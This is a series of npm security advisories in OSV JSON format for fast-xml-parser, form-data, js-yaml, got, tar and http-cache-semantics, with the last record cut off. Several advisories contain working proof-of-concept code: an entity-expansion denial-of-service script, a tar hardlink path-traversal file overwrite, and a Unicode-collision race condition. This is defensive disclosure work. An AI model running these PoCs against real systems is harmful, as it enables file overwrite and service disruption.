{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:33:10Z",
    "nvd_published_at": "2026-02-26T02:16:22Z",
    "severity": "LOW"
  },
  "details": "### Impact\nApplication crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input \n\n```\n[{\n    \u0027foo\u0027: [\n        { \u0027bar\u0027: [{ \u0027@_V\u0027: \u0027baz\u0027 }] }\n    ]\n}]\n```\n\nCause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\nYes in 5.3.8\n\n### Workarounds\nUse XML builder with `preserveOrder:false` or check the input data before passing to builder.\n\n### References\n[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)",
  "id": "GHSA-fj3w-jwp8-x2g3",
  "modified": "2026-03-06T22:00:11Z",
  "published": "2026-02-26T22:33:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "form-data"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "form-data"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "form-data"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-7783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-330"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-21T19:04:54Z",
    "nvd_published_at": "2025-07-18T17:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nform-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:\n1. can observe other values produced by Math.random in the target application, and\n2. can control one field of a request made using form-data\n\nBecause the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data\u0027s boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.\n\nThis is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I\u0027m not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.\n\n### Details\n\nThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347\n\nAn attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22))\n\n### PoC\n\nPoC here: https://github.com/benweissmann/CVE-2025-7783-poc\n\nInstructions are in that repo. It\u0027s based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). \n\n### Impact\n\nFor an application to be vulnerable, it must:\n- Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system\u0027s handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)\n- Reveal values of Math.random(). It\u0027s easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. \n\nIf an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.",
  "id": "GHSA-fjxv-7rqg-78g4",
  "modified": "2025-11-03T21:34:08Z",
  "published": "2025-07-21T19:04:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/form-data/form-data/commit/3d1723080e6577a66f17f163ecd345a21d8d0fd0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benweissmann/CVE-2025-7783-poc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/form-data/form-data"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "form-data uses unsafe random function in form-data for choosing boundary"
}

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  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33349"
  ],
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    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:13Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // \u2190 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // \u2190 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
  "id": "GHSA-jp2q-39xq-3w4g",
  "modified": "2026-04-08T22:27:44Z",
  "published": "2026-03-19T19:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
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            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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            {
              "fixed": "3.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-14T14:29:48Z",
    "nvd_published_at": "2025-11-13T16:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it\u0027s possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted.\n\n### Patches\n\nProblem is patched in js-yaml 4.1.1 and 3.14.2.\n\n### Workarounds\n\nYou can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).\n\n### References\n\nhttps://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html",
  "id": "GHSA-mh29-5h37-fv8m",
  "modified": "2026-01-31T03:32:42Z",
  "published": "2025-11-14T14:29:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-mh29-5h37-fv8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mh29-5h37-fv8m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml has prototype pollution in merge (\u003c\u003c)"
}

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  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "got"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "got"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-33987"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-21T20:05:25Z",
    "nvd_published_at": "2022-06-18T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.",
  "id": "GHSA-pfrx-2q88-qq97",
  "modified": "2022-07-05T21:24:52Z",
  "published": "2022-06-19T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33987"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/got/pull/2047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/got/commit/861ccd9ac2237df762a9e2beed7edd88c60782dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sindresorhus/got"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/got/compare/v12.0.3...v12.1.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/got/releases/tag/v11.8.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/got/releases/tag/v12.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Got allows a redirect to a UNIX socket"
}

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  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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              "fixed": "7.5.10"
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    "CVE-2026-29786"
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      "CWE-22",
      "CWE-59"
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    "github_reviewed_at": "2026-03-05T00:52:32Z",
    "nvd_published_at": "2026-03-07T16:15:55Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n  process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "id": "GHSA-qffp-2rhf-9h96",
  "modified": "2026-03-09T15:49:59Z",
  "published": "2026-03-05T00:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-03-16T14:23:26Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-cache-semantics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.webjars.npm:http-cache-semantics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-01T23:48:07Z",
    "nvd_published_at": "2023-01-31T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.",
  "id": "GHSA-rc47-6667-2j5j",
  "modified": "2025-02-13T18:36:37Z",
  "published": "2023-01-31T06:30:26Z",
